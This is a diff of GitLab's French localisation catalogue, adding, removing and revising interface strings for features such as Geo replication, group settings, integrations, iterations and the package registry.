msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr "État"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr "Pour plus d’informations, consultez "
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "Pour plus d’informations, consultez la documentation sur la %{deactivating_usage_ping_link_start}désactivation de la collecte des données d’utilisation%{deactivating_usage_ping_link_end}."
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "NÅ“uds Geo"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "Le nœud est défaillant ou en panne."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "Le nœud est lent, surchargé, ou il vient juste de se rétablir après une indisponibilité."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Latence de la réplication des données"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "Ne correspond pas à la configuration du stockage principal"
-
-msgid "GeoNodes|Full"
-msgstr "Complet"
-
-msgid "GeoNodes|GitLab version"
-msgstr "Version de GitLab"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "La version de GitLab ne correspond pas à la version du nœud principal"
-
-msgid "GeoNodes|Health status"
-msgstr "État de santé"
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "Dernier identifiant d’événement traité par le curseur"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "Dernier identifiant d’événement vu par le nœud primaire"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Chargement des nœuds"
-
-msgid "GeoNodes|New node"
-msgstr "Nouveau nœud"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "Le nœud d’authentification a été réparé avec succès."
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "Le nœud a été supprimé avec succès."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr "Emplacements de réplication"
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "Une erreur s’est produite lors du changement de statut du nœud"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Une erreur s’est produite lors de la récupération des nœuds"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Une erreur s’est produite lors de la suppression du nœud"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "Une erreur s’est produite lors de la réparation du nœud"
-
-msgid "GeoNodes|Storage config"
-msgstr "Configuration du stockage"
-
-msgid "GeoNodes|Sync settings"
-msgstr "Paramètres de synchronisation"
-
-msgid "GeoNodes|Unused slots"
-msgstr "Emplacements non utilisés"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr "Emplacements utilisés"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "Vous avez configuré des nœuds Geo en utilisant une connexion HTTP non sécurisée. Nous recommandons l’utilisation de HTTPS."
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "En échec"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr "En attente de synchronisation"
msgid "Geo|Pending verification"
msgstr "En attente de vérification"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr "Reâ€synchroniser"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "Nombre de tentatives"
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Synchro en échec — %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr "Graphique"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "Statut du stockage LFS Git du groupe :"
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Avatar de groupe"
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Groupe : %{group_name}"
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Empêcher le partage d’un projet du groupe %{group} avec d’autres groupes"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr "Ce paramètre s’applique au groupe %{ancestor_group}. Pour partager de
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Ce paramètre s’applique au groupe %{ancestor_group}. Vous pouvez écraser le paramètre ou le %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Ce paramètre s’appliquera à tous les sousâ€groupes, sauf s’il est modifié par un propriétaire du groupe. Les groupes déjà liés au projet continueront d’y avoir accès à moins d’être retirés manuellement."
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "supprimer le partage avec verrou de groupe pour %{ancestor_group_name}"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Groupes"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr "Masquer la charge utile"
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Masquer la valeur"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr "Si activé, l’accès aux projets sera validé sur un service externe e
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Importer des projets depuis Bitbucket"
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "Instance"
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "La tâche a été supprimée"
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Tâches"
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "En savoir plus"
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "Niveau d’accès maximum"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Médian"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Le jalon %{milestoneTitle} est introuvable"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Aucun dépôt"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Événement de notifications"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23211,7 +22890,7 @@ msgid "Oops, are you sure?"
msgstr "Ouh là, êtesâ€vous sûr(e) ?"
msgid "Open"
-msgstr "Ouvrir"
+msgstr "Ouvert"
msgid "Open Selection"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
